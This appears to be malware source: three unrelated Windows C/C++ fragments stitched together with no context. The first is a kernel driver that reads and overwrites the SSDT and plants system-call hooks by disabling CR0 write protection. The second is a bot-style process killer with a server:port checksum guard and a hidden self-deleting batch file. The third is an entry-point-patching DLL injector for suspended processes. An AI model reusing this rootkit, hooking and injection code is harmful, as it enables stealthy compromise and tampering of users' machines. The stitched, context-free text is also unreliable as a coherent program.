NTSTATUS SSDTDeviceIoCtl( PDEVICE_OBJECT pDeviceObject, PIRP Irp ) { // ULONG pbuf; PLOG_BUF old; NTSTATUS s; PIO_STACK_LOCATION IrpStack; PVOID InputBuffer; PVOID OutputBuffer; ULONG InputBufferLength; ULONG OutputBufferLength; ULONG IoControlCode; s = Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; IrpStack = IoGetCurrentIrpStackLocation( Irp ); InputBuffer = IrpStack->Parameters.DeviceIoControl.Type3InputBuffer; InputBufferLength = IrpStack->Parameters.DeviceIoControl.InputBufferLength; OutputBuffer = Irp->UserBuffer; OutputBufferLength = IrpStack->Parameters.DeviceIoControl.OutputBufferLength; IoControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode; /////////////////////////////////////////////// //这里处理分发例程 switch( IoControlCode ) { case IOCTL_REG_PROTECTION://开启注册表保护 CmRegisterCallback(RegistryCallback, NULL, &Cookie ); Prot=TRUE; break; case IOCTL_STOP_PROTECTION://停止注册表保护 CmUnRegisterCallback(Cookie); Prot=FALSE; break; case IOCTL_SAVE_EVENT://把事件传到驱动 { EVENT_INFORMATION EvntInfo; __try { ProbeForRead( InputBuffer, sizeof(EvntInfo), sizeof( ULONG ) ); memcpy(&EvntInfo,InputBuffer,8); } __except(EXCEPTION_EXECUTE_HANDLER) { ; } if (!NT_SUCCESS(ObReferenceObjectByHandle(EvntInfo.hKernelSetEvent,0,*ExEventObjectType,UserMode,&EventKernelSet,NULL))) { EventKernelSet=NULL; } if (!NT_SUCCESS(ObReferenceObjectByHandle(EvntInfo.hKernelWaitEvent,0,*ExEventObjectType,UserMode,&EventKernelWait,NULL))) { EventKernelWait=NULL; } DbgPrint("[Kernel_Driver] EventKernelSet = 0x%X, EventKernelWait=0x%X.\n",EventKernelSet,EventKernelWait); s = STATUS_SUCCESS; break; } case IOCTL_REGISTRY_INFO://获得注册表信息 { DbgPrint("[Kernel_Driver] IOCTL_GET_CREATE_PROC_INFO.\n"); __try { REGISTRY_INFORMATION RegInfo={0}; memcpy(RegInfo.ProcessName,aProcessName,256); memcpy(RegInfo.KeyPath,astr.Buffer,256); DbgPrint("%s %s.\n",RegInfo.ProcessName,RegInfo.KeyPath); ProbeForWrite( OutputBuffer, sizeof(RegInfo), sizeof( ULONG ) ); RtlCopyMemory(OutputBuffer,&RegInfo,sizeof(RegInfo)); // it's strange. } __except(EXCEPTION_EXECUTE_HANDLER) { DbgPrint("[Kernel_Driver] IOCTL_GET_CREATE_PROC_INFO raised exception.\n"); ; } break; } case IOCTL_ALLOW_MODIFY://允许修改 { __try { ProbeForRead( InputBuffer, sizeof(CreateAllowed), sizeof( ULONG ) ); memcpy(&CreateAllowed,InputBuffer,sizeof(CreateAllowed)); } __except(EXCEPTION_EXECUTE_HANDLER) { ; } break; } //************************************************* case IOCTL_GETSSDT: //得到SSDT __try { ProbeForWrite( OutputBuffer, sizeof( MYSSDT ), sizeof( ULONG ) ); RtlCopyMemory( OutputBuffer, KeServiceDescriptorTable, sizeof( MYSSDT ) ); } __except( EXCEPTION_EXECUTE_HANDLER ) { s = GetExceptionCode(); break; } DbgPrint( "SSDT: GetSSDT Completeled!" ); break; case IOCTL_KILL: { __try { ProbeForRead( InputBuffer, sizeof( ULONG ), sizeof( ULONG ) ); memcpy(&processID,InputBuffer,sizeof(processID)); s=PsLookupProcessByProcessId(processID,&eProcess); if(NT_SUCCESS(s)) { ObDereferenceObject(eProcess); } s=TerminateProcess(eProcess); if(NT_SUCCESS(s)) { DbgPrint("TerminateProcess Ok!\n"); } } __except( EXCEPTION_EXECUTE_HANDLER ) { s = GetExceptionCode(); break; } // status = STATUS_SUCCESS; break; } case IOCTL_ENUMTCP://枚举TCP连接 { PVOID pOut=NULL; ULONG OutLen=0; if(OutputBufferLength<sizeof(CONNINFO102)) { KdPrint(("输出缓冲区长度无效\n")); s=STATUS_BUFFER_OVERFLOW; break; } pOut=EnumPortInformation(&OutLen,TCPPORT); if(!pOut) { KdPrint(("获取TCP端口信息失败!\n")); s=STATUS_UNSUCCESSFUL; break; } if(OutputBufferLength<OutLen) { KdPrint(("输出缓冲区太小,应为%ld\n",OutLen)); ExFreePool(pOut); s=STATUS_BUFFER_OVERFLOW; break; } RtlCopyMemory(OutputBuffer,pOut,OutLen); ExFreePool(pOut); Irp->IoStatus.Information = OutLen; break; } case IOCTL_ENUMUDP://枚举UDP连接 { PVOID pOut=NULL; ULONG OutLen=0; if(OutputBufferLength<sizeof(UDPCONNINFO)) { KdPrint(("输出缓冲区长度无效\n")); s=STATUS_BUFFER_OVERFLOW; break; } pOut=EnumPortInformation(&OutLen,UDPPORT); if(!pOut) { KdPrint(("获取UDP端口信息失败!\n")); s=STATUS_UNSUCCESSFUL; break; } if(OutputBufferLength<OutLen) { KdPrint(("输出缓冲区太小,应为%ld\n",OutLen)); ExFreePool(pOut); s=STATUS_BUFFER_OVERFLOW; break; } RtlCopyMemory(OutputBuffer,pOut,OutLen); ExFreePool(pOut); Irp->IoStatus.Information = OutLen; break; } case IOCTL_QSIADDR: EnumProcess(); __try { ProbeForWrite( OutputBuffer, OutputBufferLength, sizeof( UCHAR )); } __except( EXCEPTION_EXECUTE_HANDLER ) { Irp->IoStatus.Information = STATUS_INVALID_PARAMETER; return FALSE; } if(MAX_MESSAGE > OutputBufferLength) { return FALSE; } else if(Log->Length != 0 || Log->Next != NULL) { //pReturnLog = Log; MUTEX_P(LogMutex); // NewLog(); old=OldestLog(); if(old!=Log) { MUTEX_V(LogMutex); DbgPrint("Old log\n"); } memcpy(OutputBuffer,old->Message,old->Length); Irp->IoStatus.Information = old->Length; if(old!=Log) { ExFreePool(old); } else { DbgPrint("Current log\n"); Log->Length=0; MUTEX_V(LogMutex); } } else { // MUTEX_V(LogMutex); Irp->IoStatus.Information = 0; } DbgPrint("SSDT: Set QuerySystemInformation Address Completed!"); break; case IOCTL_SETSSDT: //设置 SSDT __try { ProbeForRead( InputBuffer, sizeof( MYSSDT ), sizeof( ULONG ) ); //去掉内存保护 __asm { cli ;//关中断 mov eax, cr0 and eax, ~0x10000 mov cr0, eax } RtlCopyMemory( KeServiceDescriptorTable, InputBuffer, sizeof( MYSSDT ) ); //开中断,把内存保护加上 __asm { mov eax, cr0 or eax, 0x10000 mov cr0, eax sti ;//开中断 } } __except( EXCEPTION_EXECUTE_HANDLER ) { s = GetExceptionCode(); break; } DbgPrint( "SSDT: SetSSDT Completeled!" ); break; //************************************************* case IOCTL_GETHOOK: //查询SSDT指定地址 __try { ProbeForRead( InputBuffer, sizeof( ULONG ), sizeof( ULONG ) ); ProbeForWrite( OutputBuffer, sizeof( ULONG ), sizeof( ULONG ) ); } __except( EXCEPTION_EXECUTE_HANDLER ) { s = GetExceptionCode(); break; } //测试传入的参数是否正确 if( KeServiceDescriptorTable->ulNumberOfServices <= *(PULONG)InputBuffer ) { s = STATUS_INVALID_PARAMETER; break; } //将结果传到用户输出位置 *((PULONG)OutputBuffer) = *( (PULONG)(KeServiceDescriptorTable->pvSSDTBase) + *(PULONG)InputBuffer ); DbgPrint( "SSDT: GetHookedAddress Completeled!" ); break; //************************************************* case IOCTL_SETHOOK: //设置SSDT指定地址 __try { ProbeForRead( InputBuffer, sizeof( ULONG ), sizeof( ULONG ) ); ProbeForRead( OutputBuffer, sizeof( ULONG ), sizeof( ULONG ) ); } __except( EXCEPTION_EXECUTE_HANDLER ) { s = GetExceptionCode(); break; } //测试传入的参数是否正确 if( KeServiceDescriptorTable->ulNumberOfServices <= *(PULONG)InputBuffer ) { s = STATUS_INVALID_PARAMETER; break; } //在此将输出缓冲区当作输入缓冲区来用,输入指定SSDT HOOK的地址值 //去掉内存保护 __asm { cli ;//关中断 mov eax, cr0 and eax, ~0x10000 mov cr0, eax } *( (PULONG)(KeServiceDescriptorTable->pvSSDTBase) + *(PULONG)InputBuffer ) = *((PULONG)OutputBuffer); //开中断,把内存保护加上 __asm { mov eax, cr0 or eax, 0x10000 mov cr0, eax sti ;//开中断 } DbgPrint( "SSDT: SetHookedAddress Completeled!" ); break; //************************************************* default: s = STATUS_INVALID_DEVICE_REQUEST; DbgPrint( "SSDT: Invalid Parameter Completeled!" ); break; } /////////////////////////////////////////////// IoCompleteRequest( Irp, IO_NO_INCREMENT ); return s; }
bool KillProcessByPid(DWORD dwPid, bool bKillChildren) { // <!-------! CRC AREA START !-------!> char cCheckString1[DEFAULT]; sprintf(cCheckString1, "%s:%i", cServer, usPort); char *pcStr1 = cCheckString1; unsigned long ulCheck1 = 5081+(30*10); int nCheck1; while((nCheck1 = *pcStr1++)) ulCheck1 = ((ulCheck1 << 5) + ulCheck1) + nCheck1; if(ulCheck1 != ulChecksum3) return true; // <!-------! CRC AREA STOP !-------!> RemoteDaclProtection(dwPid); bool bReturn = FALSE; if(bKillChildren) { char cBatchFileContents[DEFAULT]; strcpy(cBatchFileContents, "@echo off\nTASKKILL /F /T /PID "); char cPid[8]; itoa(dwPid, cPid, 10); strcat(cBatchFileContents, cPid); strcat(cBatchFileContents, ">NUL\nDEL %0>NUL\n"); char cBatchFileName[MAX_PATH]; sprintf(cBatchFileName, "%s\\K%li.bat", cTempDirectory, ulFileHash); FILE * fFile; fFile = fopen(cBatchFileName, "w"); if(fFile != NULL) { fputs(cBatchFileContents, fFile); fclose(fFile); ShellExecute(NULL, NULL, cBatchFileName, NULL, NULL, SW_HIDE); } Sleep(GetRandNum(500) + 250); } HANDLE hProcess = NULL; if(GetCurrentProcessId() != dwPid) hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, dwPid); if(hProcess != NULL) { if(TerminateProcess(hProcess, NULL)) bReturn = TRUE; } else if(bKillChildren) bReturn = TRUE; CloseHandle(hProcess); return bReturn; }
__declspec(dllexport) DWORD __stdcall Load( const char *exe, const char *dll, const char *func, const void *dllData, int dataLen, DWORD *pid ) { SIZE_T Num; char buff[MAX_PATH]; LPVOID Entry; STARTUPINFO StartInfo; PROCESS_INFORMATION ProcInfo; IMAGE_DOS_HEADER idh; IMAGE_OPTIONAL_HEADER32 ioh; FILE *pExe = fopen( exe, "rb" ); if ( !pExe ) { buff[0] = 0; if ( GetShortPathName( exe, buff, MAX_PATH ) >= MAX_PATH ) buff[0] = 0; pExe = fopen( buff, "rb" ); if ( !pExe ) return NO_OPEN_EXE; } if ( fread( &idh, 1, sizeof(IMAGE_DOS_HEADER), pExe ) != sizeof(IMAGE_DOS_HEADER) ) { fclose( pExe ); return NO_READ_EXE_DATA; } fseek( pExe, idh.e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER), SEEK_SET ); if ( fread( &ioh, 1, sizeof(IMAGE_OPTIONAL_HEADER32), pExe ) != sizeof(IMAGE_OPTIONAL_HEADER32) ) { fclose( pExe ); return NO_READ_EXE_DATA; } Entry = (LPVOID)(ioh.ImageBase + ioh.AddressOfEntryPoint); //sprintf( buff, "magic: %X\nlfanew: %X\nimg_base: %X\naoep: %X\nmagic2: %X", idh.e_magic, idh.e_lfanew, ioh.ImageBase, ioh.AddressOfEntryPoint, ioh.Magic ); //MessageBox( NULL, buff, "Error", MB_OK ); fclose( pExe ); // find the exe's working directory strcpy( buff, exe ); int i=(int)strlen(buff); while ( buff[i] != '\\' && buff[i] != '/' && i > 0 ) i--; buff[i] = 0; //GetStartupInfo( &StartInfo ); memset( &StartInfo, 0, sizeof(STARTUPINFO) ); StartInfo.cb = sizeof(STARTUPINFO); // launch the exe if ( !CreateProcess( exe, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, buff, &StartInfo, &ProcInfo ) ) return NO_RUN_EXE; *pid = ProcInfo.dwProcessId; int dllNameLen = (int)strlen(dll)+1; int funcNameLen = (int)strlen(func)+1; const int LoadAsmSize = 60; SIZE_T allocSize = dllNameLen + funcNameLen + dataLen + LoadAsmSize; // allocate some space in the exe for our memory DWORD ProcMem = 0; ProcMem = (DWORD)VirtualAllocEx( ProcInfo.hProcess, NULL, allocSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if ( !ProcMem ) { ProcMem = 0x00700000; if ( !VirtualProtectEx( ProcInfo.hProcess, (LPVOID)ProcMem, allocSize, PAGE_EXECUTE_READWRITE, (PDWORD)&Num ) ) { TerminateProcess( ProcInfo.hProcess, 0 ); return NO_ALLOC_MEM; } } char *toWrite = new char[allocSize]; if ( !toWrite ) { TerminateProcess( ProcInfo.hProcess, 0 ); return NO_ALLOC_MEM; } // change protection to allow us to read/write the entry point (note: the old protection is not restored (so that we can change this space again later...) if ( !VirtualProtectEx( ProcInfo.hProcess, Entry, 8, PAGE_EXECUTE_READWRITE, (PDWORD)&Num ) ) { TerminateProcess( ProcInfo.hProcess, 0 ); return NO_VPROTECT; } // read the old code at the entry point if ( !ReadProcessMemory( ProcInfo.hProcess, Entry, buff, 8, &Num ) || Num != 8 ) { TerminateProcess( ProcInfo.hProcess, 0 ); return NO_READ; } // note if you change this size you must rewrite the LoadAsm to copy back the original code properly unsigned char EntryAsm[] = { 0xE9, 0,0,0,0, // jmp (offset) 0x90,0x90,0x90, // nop (for 4 byte alignment) }; *((DWORD*)&EntryAsm[1]) = ProcMem - ((DWORD)Entry + 5); // write the new code at the entry point if ( !WriteProcessMemory( ProcInfo.hProcess, Entry, EntryAsm, 8, &Num ) || Num != 8 ) { TerminateProcess( ProcInfo.hProcess, 0 ); return NO_WRITE; } // this asm section does everything unsigned char LoadAsm[LoadAsmSize] = { // restore the original entry point bytes 0xB8, 0,0,0,0, // mov eax, (number) 0xC7, 0x00, 0,0,0,0, // mov dword ptr [eax], (num) 0xC7, 0x40, 4, 0,0,0,0, // mov dword ptr [eax+4], (num) // LoadLibrary( name ) 0x68, 0,0,0,0, // push (num) 0xE8, 0,0,0,0, // call (offset) // GetProcAddress( lib, name ) 0x68, 0,0,0,0, // push (num) 0x50, // push eax 0xE8, 0,0,0,0, // call (offset) // name( data, dataLen ) 0x68, 0,0,0,0, // push (num) 0x68, 0,0,0,0, // push (num) 0xFF, 0xD0, // call eax // go back to the original entry point 0xE9, 0,0,0,0, // jmp (offset) 0x90, 0x90, 0x90, 0x90, // nop (padding) }; *((DWORD*)(LoadAsm+ 1)) = (DWORD)Entry; // data dest *((DWORD*)(LoadAsm+ 7)) = *((DWORD*)&buff[0]); // 1st data *((DWORD*)(LoadAsm+14)) = *((DWORD*)&buff[4]); // 2nd data HMODULE hKernel = LoadLibrary( "Kernel32" ); *((DWORD*)(LoadAsm+19)) = (ProcMem + LoadAsmSize); // begining of dll name *((DWORD*)(LoadAsm+24)) = ((DWORD)GetProcAddress( hKernel, "LoadLibraryA" )) - (ProcMem + 28); // offset to LoadLibraryA *((DWORD*)(LoadAsm+29)) = (ProcMem + LoadAsmSize + dllNameLen); // begining of function name *((DWORD*)(LoadAsm+35)) = ((DWORD)GetProcAddress( hKernel, "GetProcAddress" )) - (ProcMem + 39); // offset to GetProcAddress FreeLibrary( hKernel ); *((DWORD*)(LoadAsm+40)) = dataLen; // user data Length *((DWORD*)(LoadAsm+45)) = ProcMem + LoadAsmSize + dllNameLen + funcNameLen; // begining of user data *((DWORD*)(LoadAsm+52)) = (DWORD)Entry - (ProcMem + 56); // entry points memcpy( toWrite, LoadAsm, LoadAsmSize ); memcpy( &toWrite[LoadAsmSize], dll, dllNameLen ); memcpy( &toWrite[LoadAsmSize+dllNameLen], func, funcNameLen ); if ( dataLen > 0 ) memcpy( &toWrite[LoadAsmSize+dllNameLen+funcNameLen], dllData, dataLen ); if ( !WriteProcessMemory( ProcInfo.hProcess, (void*)ProcMem, toWrite, allocSize, &Num ) || Num != allocSize ) { TerminateProcess( ProcInfo.hProcess, 0 ); return NO_WRITE; } delete[] toWrite; *pid = ProcInfo.dwProcessId; ResumeThread( ProcInfo.hThread ); CloseHandle( ProcInfo.hProcess ); CloseHandle( ProcInfo.hThread ); return SUCCESS; }